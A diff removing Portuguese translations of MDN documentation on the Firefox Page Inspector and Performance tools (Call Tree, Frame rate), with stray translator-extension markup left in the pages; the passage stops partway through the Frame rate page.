-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: none; opacity: 1; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/tools/page_inspector/ui_tour/index.html b/files/pt-pt/tools/page_inspector/ui_tour/index.html
deleted file mode 100644
index e5d892f945..0000000000
--- a/files/pt-pt/tools/page_inspector/ui_tour/index.html
+++ /dev/null
@@ -1,102 +0,0 @@
----
-title: Guia de IU
-slug: Tools/Page_Inspector/UI_Tour
-tags:
- - Ferramentas
- - Guia(2)
- - Inspetor
-translation_of: Tools/Page_Inspector/UI_Tour
-original_slug: Tools/Page_Inspector/Guia_de_IU
----
-<div>{{ToolsSidebar}}</div><p>Este artigo é um guia rápido das secções principais da interface do utilizador de Inspetor de Página.</p>
-
-<p>Esta abrange três componentes de topo da IU do Inspetor:</p>
-
-<ul>
- <li>o botão de "Selecionar elemento"</li>
- <li>o painel de HTML</li>
- <li>o painel de CSS</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13114/inspector-overview.png" style="display: block; height: 801px; margin-left: auto; margin-right: auto; width: 944px;">This guide is intentionally kept as short as possible. It links to various how to guides for the details of how to work with the Inspector.</p>
-
-<h2 id="Botão_de_selecionar_elemento">Botão de selecionar elemento</h2>
-
-<p>The Inspector gives you detailed information about the currently selected element. The Select element button is one way you can select an element for inspection:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13122/select-element.png" style="display: block; height: 801px; margin-left: auto; margin-right: auto; width: 944px;"></p>
-
-<p>Note that it's actually part of the <a href="/en-US/docs/Tools/Tools_Toolbox#Toolbar">main toolbox toolbar</a>, so it's immediately accessible from any tool, not just the Inspector.</p>
-
-<p>To learn how to select an element, see the guide to <a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">selecting an element</a>.</p>
-
-<h2 id="Painel_de_HTML">Painel de HTML</h2>
-
-<p>The Inspector is split into two halves. The left-hand half is occupied by the HTML pane:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13116/markup-in-context.png" style="display: block; height: 1754px; margin-left: auto; margin-right: auto; width: 932px;"></p>
-
-<p>To learn more about the structure of the HTML pane, see the guide to <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">examining and editing HTML</a>.</p>
-
-<h2 id="Painel_de_CSS">Painel de CSS</h2>
-
-<p>The right-hand side of the Inspector is occupied by the CSS pane:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13118/rules-in-context.png" style="display: block; height: 1778px; margin-left: auto; margin-right: auto; width: 932px;">The CSS pane is divided into 4 views:</p>
-
-<ul>
- <li>Rules view</li>
- <li>Computed view</li>
- <li>Fonts view</li>
- <li>Animations view</li>
-</ul>
-
-<p>Use the tabs along the top to switch between the different views.</p>
-
-<h3 id="Visualizar_Regras">Visualizar Regras</h3>
-
-<p>The Rules view lists all the rules that apply to the selected element, ordered from most-specific to least-specific:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13120/rules-view.png" style="display: block; height: 866px; margin-left: auto; margin-right: auto; width: 519px;"></p>
-
-<p>See <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a> for more details.</p>
-
-<h3 id="Visualização_computada">Visualização computada</h3>
-
-<p>The Computed view shows you the complete computed CSS for the selected element, and an editable visual representation of the box model for the element:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13855/computed-shadowed-squashed.png" style="display: block; margin-left: auto; margin-right: auto; width: 519px;"></p>
-
-<p>To learn more about the box model view, see <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examine and edit the box model</a>. Note that before Firefox 50, the box model view did not appear in the "Computed view" tab, but had its own tab.</p>
-
-<p>To learn more about the CSS declarations listed in this view, see <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_computed_CSS">Examine computed CSS</a>.</p>
-
-<h3 id="Visualizar_tipo_de_letra">Visualizar tipo de letra</h3>
-
-<div class="warning">
-<p><strong>Apenas </strong>na versão 47 do Firefox , a visualzaição dos Tipos de Letra está desativada por predefinição. Se pretender ver a visualização dos tipos de Letra na versão 47 do Firefox, visite <code>about:config</code>, encontre a preferência <code>devtools.fontinspector.enabled</code>, e defina-a para "<code>true"</code>.</p>
-
-<p>Antes e depois da versão 47 do Firefox, a visualização dos Tipos de letra está ativada por predefinição.</p>
-</div>
-
-<p>The Fonts view shows all the fonts in the page along with editable samples.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10015/css-fonts.png" style="display: block; margin-left: auto; margin-right: auto; width: 451px;"></p>
-
-<p>Consultar <a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Visualizar_tipos_de_letra">Visualizar tipos de letra</a> para mais detalhes.</p>
-
-<h3 id="Visualizar_animações">Visualizar animações</h3>
-
-<p>The Animations view gives you details of any animations applied to the selected element, and a controller to pause them:</p>
-
-<p> </p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13126/animations-view.png" style="display: block; height: 854px; margin-left: auto; margin-right: auto; width: 519px;"></p>
-
-<p>Consulte <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations">Work with animations</a> para mais detalhes.</p>
-
-<h3 id="Mostrarocultar_painel_CSS">Mostrar/ocultar painel CSS</h3>
-
-<p>From Firefox 40 onwards, there's a button in the toolbar that you can use to show or hide the CSS pane:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13124/show-hide-css.png" style="display: block; height: 419px; margin-left: auto; margin-right: auto; width: 630px;"></p>
diff --git a/files/pt-pt/tools/performance/call_tree/index.html b/files/pt-pt/tools/performance/call_tree/index.html
deleted file mode 100644
index 4096b5d59d..0000000000
--- a/files/pt-pt/tools/performance/call_tree/index.html
+++ /dev/null
@@ -1,194 +0,0 @@
----
-title: Arvóre de Chamada
-slug: Tools/Performance/Call_Tree
-tags:
- - Desempenho
- - JavaScript
- - memoria
-translation_of: Tools/Performance/Call_Tree
-original_slug: Tools/Desempenho/Arvore_de_Chamada
----
-<div>{{ToolsSidebar}}</div><div class="summary">
-<p>A '<strong>Árvore de Chamada</strong>' (Call Tree) diz-lhe quais as funções de JavaScript que o navegador gastou mais tempo. Ao analisar os resultados, pode encontrar estrangulamentos no seu código - locais onde o navegador está a gastar uma quantidade desproporcionalmente grande de tempo.</p>
-
-<p>Estes estrangulamentos são locais onde quaisquer otimizações que pode fazer irão ter um grande impacto.</p>
-</div>
-
-<p>The Call Tree is a sampling profiler. It periodically samples the state of the JavaScript engine and records the stack for the code executing at the time. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it.</p>
-
-<div class="note">
-<p>In this article, we'll use the output of a simple program as an example. If you want to get the program to experiment with your profile, you can find it <a href="https://github.com/mdn/performance-scenarios/blob/gh-pages/js-call-tree-1/">here</a>. You can find the specific profile we discuss <a href="https://github.com/mdn/performance-scenarios/blob/gh-pages/js-call-tree-1/profile/call-tree.json">here</a> - just import it to the performance tool to follow along.</p>
-
-<p>There's a short page describing the structure of this program <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Examples/Sorting_algorithms_comparison">here</a>.</p>
-
-<p>Note that we use the same program - the same profile, in fact - in the documentation page for the <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a>.</p>
-</div>
-
-<p>The screenshot below shows the output of a program that compares three sorting algorithms - bubble sort, selection sort, and quicksort. To do this, it generates some arrays filled with random integers and sorts them using each algorithm in turn.</p>
-
-<p>We've <a href="/en-US/docs/Tools/Performance/UI_Tour#Zooming_in">zoomed</a> into the part of the recording that shows a long JavaScript marker:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10981/perf-call-tree.png" style="display: block; height: 574px; margin-left: auto; margin-right: auto; width: 1052px;"></p>
-
-<p>The Call Tree presents the results in a table. Each row represents a function in which at least one sample was taken, and the rows are ordered by the number of samples taken while in that function, highest to lowest.</p>
-
-<p><em>Samples</em> is the number of samples that were taken when we were executing this particular function.</p>
-
-<p><em>Self Cost</em> is that number as a percentage of the total number of samples in the selected portion of the recording.</p>
-
-<p><em>Self Time</em> is that number translated into milliseconds, based on the total amount of time covered by the selected portion of the recording.</p>
-
-<p>In the current version of the Call Tree, these are the most important columns. Functions with a relatively high <em>Self Cost</em> are good candidates for optimization, either because they take a long time to run, or because they are called very often.</p>
-
-<p>This screenshot tells us something we probably already knew: Bubble sort is a very inefficient algorithm. We have about six times as many samples in bubble sort as in selection sort, and 13 times as many as in quicksort.</p>
-
-<h2 id="Mover-se_na_árvore_de_chamada">Mover-se na árvore de chamada</h2>
-
-<p>Next to each function name is a disclosure arrow: Click that, and you can see the path back up the call tree, from the function in which the sample was taken, to the root. For example, we can expand the entry for <code>bubbleSort()</code>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10983/perf-call-tree-expanded-bubblesort.png" style="display: block; height: 512px; margin-left: auto; margin-right: auto; width: 1054px;"></p>
-
-<p>So we can see the call graph is like this:</p>
-
-<pre>sortAll()
-
- -&gt; sort()
-
- -&gt; bubbleSort()</pre>
-
-<p>Note also that <em>Self Cost</em> for <code>sort()</code> here is 1.45%, and note that this is the same as for the separate entry for <code>sort()</code> later in the list. This is telling us that some samples were taken in <code>sort()</code> itself, rather than in the functions it calls.</p>
-
-<p>Sometimes there's more than one path back from an entry to the top level. Let's expand the entry for <code>swap()</code>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10985/perf-call-tree-expanded-sawp.png" style="display: block; height: 636px; margin-left: auto; margin-right: auto; width: 1052px;"></p>
-
-<p>There were 253 samples taken inside <code>swap()</code>. But <code>swap()</code> was reached by two different paths: both <code>bubbleSort()</code> and <code>selectionSort()</code> use it. We can also see that 252 of the 253 samples in <code>swap() </code>were taken in the <code>bubbleSort()</code> branch, and only one in the <code>selectionSort()</code> branch.</p>
-
-<p>This result means that bubble sort is even less efficient than we had thought! It can shoulder the blame for another 252 samples, or almost another 10% of the total cost.</p>
-
-<p>With this kind of digging, we can figure out the whole call graph, with associated sample count:</p>
-
-<pre>sortAll() // 8
-
- -&gt; sort() // 37
-
- -&gt; bubbleSort() // 1345
-
- -&gt; swap() // 252
-
- -&gt; selectionSort() // 190
-
- -&gt; swap() // 1
-
- -&gt; quickSort() // 103
-
- -&gt; partition() // 12</pre>
-
-<h2 id="Dados_da_plataforma">Dados da plataforma</h2>
-
-<p>You'll also see some rows labeled <em>Gecko</em>, <em>Input &amp; Events</em>, and so on. These represent internal browser calls.</p>
-
-<p>This can be useful information too. If your site is making the browser work hard, this might not show up as samples recorded in your code, but it is still your problem.</p>
-
-<p>In our example, there are 679 samples assigned to <em>Gecko </em>- the second-largest group after <code>bubbleSort()</code>. Let's expand that:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10987/perf-call-tree-expanded-gecko.png" style="display: block; height: 478px; margin-left: auto; margin-right: auto; width: 1050px;"></p>
-
-<p>This result is telling us that 614 of those samples, or about 20% of the total cost, are coming from our <code>sort()</code> call. If we look at the code for <code>sort()</code>, it should be fairly obvious that the high platform data cost is coming from repeated calls to <code>console.log()</code>:</p>
-
-<pre class="brush: js">function sort(unsorted) {
- console.log(bubbleSort(unsorted));
- console.log(selectionSort(unsorted));
- console.log(quickSort(unsorted));
-}</pre>
-
-<p>It would certainly be worthwhile considering more efficient ways of implementing this.</p>
-
-<p>One thing to be aware of here is that idle time is classified as <em>Gecko</em>, so parts of your profile where your JavaScript isn't running will contribute <em>Gecko</em> samples. These aren't relevant to the performance of your site.</p>
-
-<div class="note">
-<p>By default, the Call Tree doesn't split platform data out into separate functions, because they add a great deal of noise, and the details are not likely to be useful to people not working on Firefox. If you want to see the details, check "Show Gecko Platform Data" in the <a href="/en-US/docs/Tools/Performance/UI_Tour#Toolbar">Settings</a>.</p>
-</div>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/tools/performance/frame_rate/index.html b/files/pt-pt/tools/performance/frame_rate/index.html
deleted file mode 100644
index 2bcac50ba4..0000000000
--- a/files/pt-pt/tools/performance/frame_rate/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Frame rate
-slug: Tools/Performance/Frame_rate
-tags:
- - frame rate
-translation_of: Tools/Performance/Frame_rate
-original_slug: Tools/Desempenho/Frame_rate
----
-<div>{{ToolsSidebar}}</div><div class="summary">
-<p><em>Frame rate</em> é uma medida da reação de um site da Web. Uma <em>frame rate</em> baixa ou inconsistente pode fazer com que um site pareça irrespondível ou <em>janky</em>, criando uma má experiência de utilizador.</p>
-
-<p><strong>Uma <em>frame rate</em> de 60 imagens por segundo é o ideal para um desempenho suave, proporcionando-lhe um período de tempo de 16.7ms para todas as atualizações necessária na resposta para algum evento.</strong></p>
-
-<p>O gráfico de <em>frame rate</em> na ferramenta 'Desempenho'  mostra-lhe a <em>frame rate</em> durante o curso de uma gravação. Este dá-lhe uma indicação rápida de onde o seu site poderá estar a ter problemas, permitindo-lhe utilizar as outras ferramentas para uma análise mais aprofundada.</p>
-</div>
-
-<h2 id="Frame_rate_e_resposta"><em>Frame rate</em> e resposta</h2>
-
-<p>Frame rate is the rate at which a video device can produce images (or frames). It's most familiar from film and gaming, but is now widely used as a performance measure for websites and web apps.</p>
-
